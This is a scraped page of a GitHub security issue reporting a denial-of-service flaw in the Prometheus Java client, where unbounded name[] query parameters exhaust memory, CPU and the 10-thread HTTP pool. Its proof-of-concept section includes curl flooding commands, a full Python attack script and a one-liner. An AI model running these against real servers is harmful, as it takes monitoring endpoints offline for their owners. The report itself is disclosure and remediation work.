René's URL Explorer Experiment


Title: # Security Report: Denial of Service via Unbounded `name[]` Query Parameter Flooding in prometheus/client_java · Issue #2285 · prometheus/client_java · GitHub

Open Graph Title: # Security Report: Denial of Service via Unbounded `name[]` Query Parameter Flooding in prometheus/client_java · Issue #2285 · prometheus/client_java

X Title: # Security Report: Denial of Service via Unbounded `name[]` Query Parameter Flooding in prometheus/client_java · Issue #2285 · prometheus/client_java

Description: Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus Java Client Library) Affected Version 1.8.0 (main ...

Open Graph Description: Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus Java Clien...

X Description: Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus Java Clien...

Opengraph URL: https://github.com/prometheus/client_java/issues/2285

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"# Security Report: Denial of Service via Unbounded `name[]` Query Parameter Flooding in prometheus/client_java","articleBody":"# Security Report: Denial of Service via Unbounded `name[]` Query Parameter Flooding in prometheus/client_java\n\n## 1. Vulnerability Summary\n\n| Field                  | Value                                                                                         |\n|------------------------|-----------------------------------------------------------------------------------------------|\n| **Product**            | prometheus/client_java (Prometheus Java Client Library)                                       |\n| **Affected Version**   | 1.8.0 (main branch); all prior versions containing `PrometheusHttpRequest` with the default `getParameterValues()` implementation |\n| **Component**          | `prometheus-metrics-exporter-common`, `prometheus-metrics-model`                              |\n| **Vulnerable Files**   | `PrometheusHttpRequest.java` (lines 50-73), `MetricNameFilter.java` (lines 43-55)            |\n| **CWE**                | CWE-400: Uncontrolled Resource Consumption                                                    |\n| **CVSS 3.1 Score**     | **7.5 (High)**                                                                                |\n| **CVSS 3.1 Vector**    | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`                                              |\n| **Repository**         | https://github.com/prometheus/client_java                                                     |\n| **Discoverer**         | Security Research                                                                             |\n\n---\n\n## 2. Vulnerability Description\n\nA denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of `name[]` query parameters accepted by the `/metrics` endpoint, combined with an O(n) linear-scan filtering algorithm in `MetricNameFilter`.\n\nAn unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of `name[]` query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unbounded `ArrayList` growth), excessive CPU (O(n x m) string comparisons where n is the number of `name[]` parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.\n\nThe vulnerability is present in the default `getParameterValues()` method of the `PrometheusHttpRequest` interface, which performs no input validation on the query string. It is amplified by the `MetricNameFilter.matchesNameEqualTo()` method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Unbounded Query Parameter Parsing (Primary Root Cause)\n\n**File:** `prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java`\n**Lines:** 50-73\n\n```java\n@Override\n@Nullable\n@SuppressWarnings(\"JdkObsolete\")\ndefault String[] getParameterValues(String name) {\n    try {\n      ArrayList\u003cString> result = new ArrayList\u003c>();       // No pre-allocated capacity limit\n      String queryString = getQueryString();\n      if (queryString != null) {\n        String[] pairs = queryString.split(\"&\");          // No limit on split count\n        for (String pair : pairs) {\n          int idx = pair.indexOf(\"=\");\n          if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), \"UTF-8\").equals(name)) {\n            result.add(URLDecoder.decode(pair.substring(idx + 1), \"UTF-8\"));  // Unbounded add\n          }\n        }\n      }\n      if (result.isEmpty()) {\n        return null;\n      } else {\n        return result.toArray(new String[0]);\n      }\n    } catch (UnsupportedEncodingException e) {\n      throw new RuntimeException(e);\n    }\n}\n```\n\n**Three critical deficiencies:**\n\n1. **No query string length limit.** The raw query string from `getQueryString()` is processed regardless of its size. A multi-megabyte query string is accepted without any check.\n\n2. **Unbounded split.** `queryString.split(\"&\")` produces an array with as many elements as there are `&`-delimited segments. With 100,000 `name[]` parameters, this creates a 100,000-element `String[]` array.\n\n3. **Unbounded result collection.** The `ArrayList\u003cString> result` grows without limit. Every matching `name[]` parameter value is added with `result.add()`. There is no cap on the number of values collected.\n\n### 3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)\n\n**File:** `prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java`\n**Lines:** 43-55\n\n```java\nprivate boolean matchesNameEqualTo(String metricName) {\n    if (nameIsEqualTo.isEmpty()) {\n      return true;\n    }\n    for (String name : nameIsEqualTo) {\n      // The following ignores suffixes like _total.\n      // \"request_count\" and \"request_count_total\" both match a metric named \"request_count\".\n      if (name.startsWith(metricName)) {\n        return true;\n      }\n    }\n    return false;\n}\n```\n\nThe `nameIsEqualTo` collection is backed by an `ArrayList` (see constructor, line 29). For each registered metric, `matchesNameEqualTo()` iterates over every entry in this list, performing a `String.startsWith()` comparison. The time complexity is O(n) per metric, where n is the number of `name[]` parameter values.\n\n### 3.3 O(n x m) Amplification in Registry Scrape\n\n**File:** `prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.java`\n**Lines:** 451-509\n\nWhen scraping with a filter, `PrometheusRegistry.scrape(Predicate\u003cString>, PrometheusScrapeRequest)` calls `includedNames.test(prometheusName)` for each registered collector. Each call to `test()` triggers the O(n) linear scan in `MetricNameFilter.matchesNameEqualTo()`.\n\nWith n = 100,000 `name[]` parameters and m = 1,000 registered metrics, a single HTTP request produces:\n\n- **100,000,000 (100 million) `String.startsWith()` comparisons**\n- Each comparison involves character-by-character comparison of the metric name prefix\n\n### 3.4 Thread Pool Exhaustion (Cascading Failure)\n\n**File:** `prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java`\n**Lines:** 339-347\n\n```java\nprivate ExecutorService makeExecutorService() {\n    if (executorService != null) {\n      return executorService;\n    } else {\n      return new ThreadPoolExecutor(\n          1,               // core pool size\n          10,              // maximum pool size\n          120,             // keep-alive time\n          TimeUnit.SECONDS,\n          new SynchronousQueue\u003c>(true),\n          NamedDaemonThreadFactory.defaultThreadFactory(true),\n          new BlockingRejectedExecutionHandler());  // BLOCKS on rejection\n    }\n}\n```\n\nThe default thread pool has a **maximum of 10 threads** and uses a `SynchronousQueue` with a `BlockingRejectedExecutionHandler` that blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:\n\n1. Occupy all 10 threads with long-running parameter processing\n2. Block any subsequent requests in the `BlockingRejectedExecutionHandler.rejectedExecution()` method\n3. Cause legitimate Prometheus scrape requests to time out\n\n### 3.5 Data Flow\n\n```\nAttacker HTTP Request (?name[]=a_0&name[]=a_1&...&name[]=a_99999)\n         |\n         v\nPrometheusHttpRequest.getParameterValues(\"name[]\")\n  - queryString.split(\"&\") --> 100,000 element String[]\n  - URLDecoder.decode() x 200,000 (key + value per pair)\n  - ArrayList grows to 100,000 entries\n  - Returns String[100000]\n         |\n         v\nPrometheusScrapeHandler.scrape()\n  - MetricNameFilter.builder().nameMustBeEqualTo(String[100000]).build()\n  - nameIsEqualTo = ArrayList\u003cString> of size 100,000\n         |\n         v\nPrometheusRegistry.scrape(filter, request)\n  - For each of m registered metrics:\n    - filter.test(metricName)\n      - matchesNameEqualTo() iterates all 100,000 entries\n      - String.startsWith() comparison each time\n  = Total: 100,000 x m comparisons\n         |\n         v\nThread blocked for seconds to minutes\n```\n\n---\n\n## 4. CVSS 3.1 Detailed Breakdown\n\n| Metric                       | Value          | Justification                                                                                                       |\n|------------------------------|----------------|---------------------------------------------------------------------------------------------------------------------|\n| **Attack Vector (AV)**       | Network (N)    | The `/metrics` endpoint is network-accessible. The `HTTPServer` binds to a network socket by default.               |\n| **Attack Complexity (AC)**   | Low (L)        | No special conditions required. The attacker simply sends an HTTP GET request with crafted query parameters.         |\n| **Privileges Required (PR)** | None (N)       | The `HTTPServer` does not require authentication by default. The `Authenticator` is optional and null unless configured. |\n| **User Interaction (UI)**    | None (N)       | No user interaction needed. The attacker sends requests directly to the endpoint.                                    |\n| **Scope (S)**                | Unchanged (U)  | Impact is limited to the metrics exporter component. Other application functionality may be indirectly affected only if sharing the same JVM resources. |\n| **Confidentiality (C)**      | None (N)       | No information is disclosed.                                                                                         |\n| **Integrity (I)**            | None (N)       | No data is modified.                                                                                                 |\n| **Availability (A)**         | High (H)       | Memory exhaustion, CPU exhaustion, and thread pool starvation cause complete denial of the metrics service. Legitimate Prometheus scrapes are blocked. |\n\n**CVSS 3.1 Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n**CVSS 3.1 Base Score:** **7.5 (High)**\n\n---\n\n## 5. Proof of Concept\n\n### 5.1 Prerequisites\n\n- A Java application using `prometheus-metrics-exporter-httpserver` with the built-in `HTTPServer`\n- The application has at least one registered metric (typical production applications have hundreds or thousands)\n- Network access to the metrics HTTP port (default: 9400 or user-configured)\n\n### 5.2 Minimal Vulnerable Application\n\n```java\nimport io.prometheus.metrics.core.metrics.Counter;\nimport io.prometheus.metrics.core.metrics.Histogram;\nimport io.prometheus.metrics.exporter.httpserver.HTTPServer;\n\npublic class VulnerableMetricsApp {\n    public static void main(String[] args) throws Exception {\n        // Register some metrics (typical applications have hundreds)\n        for (int i = 0; i \u003c 1000; i++) {\n            Counter.builder()\n                .name(\"app_counter_\" + i)\n                .help(\"Counter \" + i)\n                .register();\n        }\n\n        HTTPServer server = HTTPServer.builder()\n            .port(9400)\n            .buildAndStart();\n\n        System.out.println(\"Metrics server started on port \" + server.getPort());\n        Thread.currentThread().join();\n    }\n}\n```\n\n### 5.3 Reproduction Steps\n\n**Step 1: Basic parameter flooding -- single request.**\n\n```bash\n# Generate a URL with 100,000 name[] parameters\nPARAMS=$(python3 -c \"print('&'.join(['name[]=metric_' + str(i) for i in range(100000)]))\")\n\n# Send a single flooding request (this alone causes significant CPU/memory usage)\ntime curl -s -o /dev/null -w \"%{http_code}\" \"http://target:9400/metrics?${PARAMS}\"\n```\n\nExpected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.\n\n**Step 2: Thread pool exhaustion -- 10 concurrent connections.**\n\n```bash\n# Saturate all 10 threads in the default pool\nfor i in $(seq 1 10); do\n  curl -s -o /dev/null \"http://target:9400/metrics?${PARAMS}\" &\ndone\n\n# Wait a moment, then attempt a legitimate scrape\nsleep 2\ntime curl -s -o /dev/null -w \"%{http_code}\" \"http://target:9400/metrics\"\n# This request will hang indefinitely (blocked in BlockingRejectedExecutionHandler)\n```\n\nExpected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the `BlockingRejectedExecutionHandler` blocks the caller rather than rejecting.\n\n**Step 3: Verify Prometheus scrape disruption.**\n\nWhile the flooding requests are in progress, a Prometheus server configured to scrape this target will report:\n\n```\nlevel=warn msg=\"Error on ingesting samples that are too old or are too far into the future\"\nlevel=error msg=\"Scrape failed\" target=\"http://target:9400/metrics\" err=\"context deadline exceeded\"\n```\n\n### 5.4 Full PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Denial of Service via Unbounded name[] Query Parameter Flooding\nTarget: prometheus/client_java HTTPServer metrics endpoint\n\nDemonstrates three attack vectors:\n  1. Memory exhaustion via large ArrayList allocation\n  2. CPU exhaustion via O(n*m) linear scan in MetricNameFilter\n  3. Thread pool starvation with 10 concurrent flooding requests\n\nUsage:\n  python3 dos_name_param_flooding.py --target http://localhost:9400 --count 100000\n\"\"\"\n\nimport argparse\nimport concurrent.futures\nimport sys\nimport time\nimport urllib.request\nimport urllib.error\n\n\ndef build_flooding_url(base_url, param_count):\n    \"\"\"Build a URL with param_count name[] query parameters.\"\"\"\n    params = \"&\".join(f\"name[]=metric_{i}\" for i in range(param_count))\n    return f\"{base_url}/metrics?{params}\"\n\n\ndef send_flooding_request(url, request_id):\n    \"\"\"Send a single flooding request and measure duration.\"\"\"\n    start = time.monotonic()\n    try:\n        req = urllib.request.Request(url, method=\"GET\")\n        with urllib.request.urlopen(req, timeout=300) as resp:\n            _ = resp.read()\n            elapsed = time.monotonic() - start\n            return request_id, resp.status, elapsed, None\n    except urllib.error.URLError as e:\n        elapsed = time.monotonic() - start\n        return request_id, None, elapsed, str(e)\n    except Exception as e:\n        elapsed = time.monotonic() - start\n        return request_id, None, elapsed, str(e)\n\n\ndef send_legitimate_scrape(base_url, timeout=10):\n    \"\"\"Send a normal /metrics scrape and measure response time.\"\"\"\n    url = f\"{base_url}/metrics\"\n    start = time.monotonic()\n    try:\n        req = urllib.request.Request(url, method=\"GET\")\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            _ = resp.read()\n            elapsed = time.monotonic() - start\n            return resp.status, elapsed, None\n    except Exception as e:\n        elapsed = time.monotonic() - start\n        return None, elapsed, str(e)\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"PoC: DoS via name[] parameter flooding against prometheus/client_java\"\n    )\n    parser.add_argument(\n        \"--target\",\n        default=\"http://localhost:9400\",\n        help=\"Base URL of the Prometheus metrics endpoint (default: http://localhost:9400)\",\n    )\n    parser.add_argument(\n        \"--count\",\n        type=int,\n        default=100000,\n        help=\"Number of name[] parameters per request (default: 100000)\",\n    )\n    parser.add_argument(\n        \"--threads\",\n        type=int,\n        default=10,\n        help=\"Number of concurrent flooding requests (default: 10, matching default pool size)\",\n    )\n    args = parser.parse_args()\n\n    print(\"=\" * 72)\n    print(\"PoC: Denial of Service via Unbounded name[] Query Parameter Flooding\")\n    print(f\"Target: {args.target}\")\n    print(f\"Parameters per request: {args.count:,}\")\n    print(f\"Concurrent flooding threads: {args.threads}\")\n    print(\"=\" * 72)\n\n    # Phase 1: Baseline -- measure normal scrape time\n    print(\"\\n[Phase 1] Baseline: Measuring normal scrape response time...\")\n    status, elapsed, error = send_legitimate_scrape(args.target, timeout=30)\n    if error:\n        print(f\"  ERROR: Could not reach target: {error}\")\n        print(\"  Ensure the target application is running and accessible.\")\n        sys.exit(1)\n    print(f\"  Normal scrape: status={status}, time={elapsed:.3f}s\")\n    baseline_time = elapsed\n\n    # Phase 2: Single flooding request -- measure CPU/memory impact\n    print(f\"\\n[Phase 2] Single flooding request with {args.count:,} name[] parameters...\")\n    flooding_url = build_flooding_url(args.target, args.count)\n    print(f\"  URL length: {len(flooding_url):,} bytes\")\n    print(f\"  Estimated server-side ArrayList size: {args.count:,} entries\")\n    print(f\"  Sending request...\")\n\n    _, status, elapsed, error = send_flooding_request(flooding_url, 0)\n    if error:\n        print(f\"  Request failed after {elapsed:.3f}s: {error}\")\n    else:\n        print(f\"  Response: status={status}, time={elapsed:.3f}s\")\n    print(f\"  Slowdown factor vs baseline: {elapsed / max(baseline_time, 0.001):.1f}x\")\n\n    # Phase 3: Thread pool exhaustion -- concurrent flooding\n    print(f\"\\n[Phase 3] Thread pool exhaustion: {args.threads} concurrent flooding requests...\")\n    print(f\"  Default HTTPServer pool size: 10 threads (max)\")\n    print(f\"  Sending {args.threads} concurrent requests to saturate the pool...\")\n\n    futures = []\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads + 1) as executor:\n        # Launch flooding requests\n        flood_start = time.monotonic()\n        for i in range(args.threads):\n            futures.append(executor.submit(send_flooding_request, flooding_url, i))\n\n        # Wait briefly for flooding requests to engage server threads\n        time.sleep(2)\n\n        # Attempt a legitimate scrape while flooding is in progress\n        print(f\"\\n[Phase 4] Attempting legitimate scrape during flooding attack...\")\n        scrape_future = executor.submit(send_legitimate_scrape, args.target, 15)\n\n        try:\n            status, elapsed, error = scrape_future.result(timeout=20)\n            if error:\n                print(f\"  CONFIRMED: Legitimate scrape FAILED: {error}\")\n                print(f\"  Time waited: {elapsed:.3f}s\")\n                print(f\"  The metrics endpoint is unresponsive -- DoS achieved.\")\n            elif elapsed > baseline_time * 10:\n                print(f\"  DEGRADED: Legitimate scrape succeeded but took {elapsed:.3f}s\")\n                print(f\"  Slowdown: {elapsed / max(baseline_time, 0.001):.1f}x vs baseline\")\n                print(f\"  Prometheus scrape_timeout (default 10s) would be exceeded.\")\n            else:\n                print(f\"  Legitimate scrape succeeded: status={status}, time={elapsed:.3f}s\")\n        except concurrent.futures.TimeoutError:\n            print(f\"  CONFIRMED: Legitimate scrape TIMED OUT after 20s\")\n            print(f\"  All server threads are blocked -- complete DoS achieved.\")\n\n        # Collect flooding results\n        print(f\"\\n[Phase 5] Flooding request results:\")\n        for future in concurrent.futures.as_completed(futures, timeout=300):\n            req_id, status, elapsed, error = future.result()\n            if error:\n                print(f\"  Request {req_id}: FAILED after {elapsed:.3f}s -- {error}\")\n            else:\n                print(f\"  Request {req_id}: status={status}, time={elapsed:.3f}s\")\n\n    # Summary\n    print(\"\\n\" + \"=\" * 72)\n    print(\"SUMMARY\")\n    print(\"=\" * 72)\n    print(f\"  Attack parameters:\")\n    print(f\"    name[] count per request: {args.count:,}\")\n    print(f\"    Concurrent connections:   {args.threads}\")\n    print(f\"    URL size per request:     {len(flooding_url):,} bytes\")\n    print(f\"  Resource consumption per request (server-side):\")\n    print(f\"    ArrayList entries:        {args.count:,}\")\n    print(f\"    String.split() elements:  {args.count:,}\")\n    print(f\"    URLDecoder.decode() calls: {args.count * 2:,}\")\n    print(f\"  With 1,000 registered metrics:\")\n    print(f\"    String.startsWith() comparisons: {args.count * 1000:,}\")\n    print(f\"  Thread pool capacity:       10 (default)\")\n    print(f\"  Threads occupied by attack: {args.threads}\")\n    print(f\"  Threads remaining for legitimate scrapes: {max(0, 10 - args.threads)}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### 5.5 Bash One-Liner for Quick Verification\n\n```bash\n# Quick DoS verification -- generate 50,000 parameters and observe response time\npython3 -c \"print('&'.join(['name[]=m_'+str(i) for i in range(50000)]))\" | \\\n  xargs -I{} time curl -s -o /dev/null -w \"HTTP %{http_code}\\n\" \"http://localhost:9400/metrics?{}\"\n```\n\n---\n\n## 6. Impact Analysis\n\n### 6.1 Memory Exhaustion\n\nEach flooding request causes the following allocations on the server:\n\n| Allocation                      | Size with 100K parameters       |\n|---------------------------------|---------------------------------|\n| `queryString.split(\"&\")` array  | 100,000 `String` references     |\n| `URLDecoder.decode()` results   | 200,000 decoded `String` objects (key + value per pair) |\n| `ArrayList\u003cString> result`      | 100,000 entries + dynamic resizing overhead |\n| `result.toArray(new String[0])` | 100,000-element `String[]` copy |\n| `MetricNameFilter.nameIsEqualTo`| 100,000-element `ArrayList` copy |\n\nWith average parameter values of 20 characters, a single request allocates approximately:\n\n- 100,000 x (40 bytes object header + 20 chars x 2 bytes) = ~8 MB for the split array values\n- 100,000 x 80 bytes = ~8 MB for the decoded key strings\n- 100,000 x 80 bytes = ~8 MB for the decoded value strings\n- Multiple `ArrayList` copies and array conversions\n\n**Total per request: approximately 30-50 MB of heap allocation.** With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or `OutOfMemoryError` in constrained environments.\n\n### 6.2 CPU Exhaustion\n\nThe `MetricNameFilter.matchesNameEqualTo()` method performs a linear scan:\n\n```\nTime complexity per metric: O(n)     where n = number of name[] parameters\nTime complexity per scrape: O(n * m) where m = number of registered metrics\n```\n\n| name[] count (n) | Registered metrics (m) | `String.startsWith()` calls | Estimated time |\n|-------------------|------------------------|------------------------------|----------------|\n| 1,000             | 100                    | 100,000                      | ~10 ms         |\n| 10,000            | 100                    | 1,000,000                    | ~100 ms        |\n| 100,000           | 100                    | 10,000,000                   | ~1-2 s         |\n| 100,000           | 1,000                  | 100,000,000                  | ~10-30 s       |\n| 100,000           | 10,000                 | 1,000,000,000                | ~minutes       |\n\n### 6.3 Thread Pool Starvation\n\nThe default `HTTPServer` thread pool configuration is:\n\n```java\nnew ThreadPoolExecutor(\n    1,      // corePoolSize\n    10,     // maximumPoolSize\n    120,    // keepAliveTime\n    TimeUnit.SECONDS,\n    new SynchronousQueue\u003c>(true),\n    NamedDaemonThreadFactory.defaultThreadFactory(true),\n    new BlockingRejectedExecutionHandler()  // Blocks on rejection\n);\n```\n\nKey characteristics:\n\n- **Maximum 10 threads.** The pool cannot grow beyond 10 worker threads.\n- **`SynchronousQueue`.** This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.\n- **`BlockingRejectedExecutionHandler`.** When all 10 threads are busy, instead of rejecting the request, this handler **blocks the caller** by calling `threadPoolExecutor.getQueue().put(runnable)`, which blocks indefinitely on the `SynchronousQueue` until a thread becomes available.\n\nThis means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.\n\n### 6.4 Unauthenticated Access\n\nThe `HTTPServer` does not require authentication by default. The `Authenticator` is an optional builder parameter that defaults to `null`:\n\n```java\n@Nullable private Authenticator authenticator = null;\n```\n\nMost deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.\n\n### 6.5 Impact on Monitoring Infrastructure\n\nWhen the metrics endpoint becomes unresponsive:\n\n1. **Prometheus scrape failures.** Prometheus records `up{job=\"target\"} = 0`, triggering alerts for target health.\n2. **Monitoring blind spot.** No metrics are collected during the attack, creating gaps in dashboards and alerting.\n3. **Cascading alerts.** Alert rules that depend on metrics from the affected target may fire spuriously or fail to fire for genuine issues.\n4. **SLA violations.** If metrics availability is part of service-level objectives, the DoS directly impacts SLA compliance.\n\n---\n\n## 7. Affected Modules and Scope\n\n### Directly Affected\n\n| Module | File | Role |\n|--------|------|------|\n| `prometheus-metrics-exporter-common` | `PrometheusHttpRequest.java` | Unbounded query parameter parsing (default `getParameterValues()` method) |\n| `prometheus-metrics-model` | `MetricNameFilter.java` | O(n) linear scan over `nameIsEqualTo` collection |\n| `prometheus-metrics-exporter-httpserver` | `HTTPServer.java` | Limited 10-thread pool with blocking rejection handler |\n\n### Indirectly Affected\n\n| Module | Reason |\n|--------|--------|\n| `prometheus-metrics-exporter-servlet-jakarta` | Uses servlet container's `getParameterValues()` instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits. |\n| `prometheus-metrics-exporter-servlet-javax` | Same as above. |\n\nThe vulnerability is most severe with the standalone `HTTPServer` because of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.\n\n---\n\n## 8. Remediation\n\n### 8.1 Input Validation in `PrometheusHttpRequest.getParameterValues()`\n\nAdd maximum limits on the number of query parameters and total query string length.\n\n```java\ndefault String[] getParameterValues(String name) {\n    try {\n      String queryString = getQueryString();\n      if (queryString == null) {\n        return null;\n      }\n\n      // Limit 1: Maximum query string length (64 KB)\n      if (queryString.length() > 65536) {\n        throw new IllegalArgumentException(\n            \"Query string too long: \" + queryString.length() + \" bytes (max 65536)\");\n      }\n\n      ArrayList\u003cString> result = new ArrayList\u003c>();\n      String[] pairs = queryString.split(\"&\");\n\n      // Limit 2: Maximum number of parameters\n      if (pairs.length > 1024) {\n        throw new IllegalArgumentException(\n            \"Too many query parameters: \" + pairs.length + \" (max 1024)\");\n      }\n\n      for (String pair : pairs) {\n        int idx = pair.indexOf(\"=\");\n        if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), \"UTF-8\").equals(name)) {\n          result.add(URLDecoder.decode(pair.substring(idx + 1), \"UTF-8\"));\n        }\n      }\n\n      if (result.isEmpty()) {\n        return null;\n      } else {\n        return result.toArray(new String[0]);\n      }\n    } catch (UnsupportedEncodingException e) {\n      throw new RuntimeException(e);\n    }\n}\n```\n\nThe `IllegalArgumentException` should be caught in `PrometheusScrapeHandler.handleRequest()` and translated to an HTTP 400 (Bad Request) response.\n\n### 8.2 Use HashSet for O(1) Lookups in MetricNameFilter\n\nReplace the `ArrayList`-backed linear scan with a `HashSet` for exact equality checks, reducing per-metric lookup cost from O(n) to O(1).\n\n```java\n// Before (O(n) per metric):\nprivate boolean matchesNameEqualTo(String metricName) {\n    if (nameIsEqualTo.isEmpty()) {\n      return true;\n    }\n    for (String name : nameIsEqualTo) {\n      if (name.startsWith(metricName)) {\n        return true;\n      }\n    }\n    return false;\n}\n\n// After (O(1) average for exact matches, O(n) worst case for prefix matching):\n// Use a HashSet for the common exact-match case, with a fallback for prefix matching.\n```\n\nNote: The current implementation uses `name.startsWith(metricName)` (checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching both `request_count` and `request_count_total`). This complicates a pure `HashSet` replacement but can be optimized with a trie or by normalizing metric names.\n\n### 8.3 Return HTTP 400 for Excessive Parameters\n\nIn `PrometheusScrapeHandler.handleRequest()`, catch validation exceptions from parameter parsing and return HTTP 400:\n\n```java\npublic void handleRequest(PrometheusHttpExchange exchange) throws IOException {\n    try {\n      PrometheusHttpRequest request = exchange.getRequest();\n      MetricSnapshots snapshots = scrape(request);\n      // ... normal processing\n    } catch (IllegalArgumentException e) {\n      // Input validation failure (e.g., too many name[] parameters)\n      PrometheusHttpResponse response = exchange.getResponse();\n      byte[] message = e.getMessage().getBytes(StandardCharsets.UTF_8);\n      response.setHeader(\"Content-Type\", \"text/plain; charset=utf-8\");\n      try (OutputStream out = response.sendHeadersAndGetBody(400, message.length)) {\n        out.write(message);\n      }\n    } catch (IOException e) {\n      exchange.handleException(e);\n    } catch (RuntimeException e) {\n      exchange.handleException(e);\n    } finally {\n      exchange.close();\n    }\n}\n```\n\n### 8.4 Defense in Depth: Request Timeout\n\nConfigure `sun.net.httpserver.maxReqTime` to a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set in `HTTPServer.java` line 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.\n\n### 8.5 Workaround\n\nThere is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:\n\n- **Reverse proxy with query string length limits.** Place nginx, HAProxy, or a similar reverse proxy in front of the metrics endpoint, configured to reject requests with excessively long query strings or too many parameters.\n- **Network-level access control.** Restrict access to the metrics port to only the Prometheus server's IP address using firewall rules or network policies.\n- **Custom `ExecutorService`.** Use the `HTTPServer.Builder.executorService()` method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).\n\n---\n\n## 9. References\n\n1. **CWE-400: Uncontrolled Resource Consumption:** https://cwe.mitre.org/data/definitions/400.html\n\n2. **Prometheus client_java GitHub Repository:** https://github.com/prometheus/client_java\n\n3. **Vulnerable Source Files:**\n   - `prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java` (lines 50-73)\n   - `prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java` (lines 43-55)\n   - `prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java` (lines 339-347)\n\n4. **OWASP: Denial of Service:** https://owasp.org/www-community/attacks/Denial_of_Service\n\n5. **Java API: ThreadPoolExecutor:** https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html\n\n6. **Prometheus Scrape Configuration -- `params` field:** https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config\n\n---\n\n**Reported by:** Security Research Team\n**Date:** 2026-06-24\n**Severity:** High (CVSS 7.5)\n**CWE:** CWE-400 (Uncontrolled Resource Consumption)\n**Status:** Unpatched (as of version 1.8.0)\n","author":{"url":"https://github.com/manqingzhou","@type":"Person","name":"manqingzhou"},"datePublished":"2026-07-08T02:57:58Z","url":"https://github.com/prometheus/client_java/issues/2285"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:e5f426ed-87f4-579f-04e4-a286c172b7b8
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-id874C:C0BA8:2081597:2BF6866:6AFBA4FB
html-safe-noncef9a2c6219f1ea0ec1bc01bb0dd5bfe319f250fa3bce6012131e3ce49fe5d9dc2
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NzRDOkMwQkE4OjIwODE1OTc6MkJGNjg2Njo2QUZCQTRGQiIsInZpc2l0b3JfaWQiOiI5MTg4MTIxMTcxODc3MTQzODAzIiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=
visitor-hmace7beec127f9cc2eecd8687388788dab534037faf0eb6261fd5702beaa95bc828
hovercard-subject-tagissue:4833919746
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/prometheus/client_java/2285/issue_layout
twitter:imagehttps://opengraph.githubassets.com/8b94ff471c6d53beb1ffe5c89fb596084bdb795eb397c0e63a21cc6a78250cff/prometheus/client_java/issues/2285
twitter:cardsummary_large_image
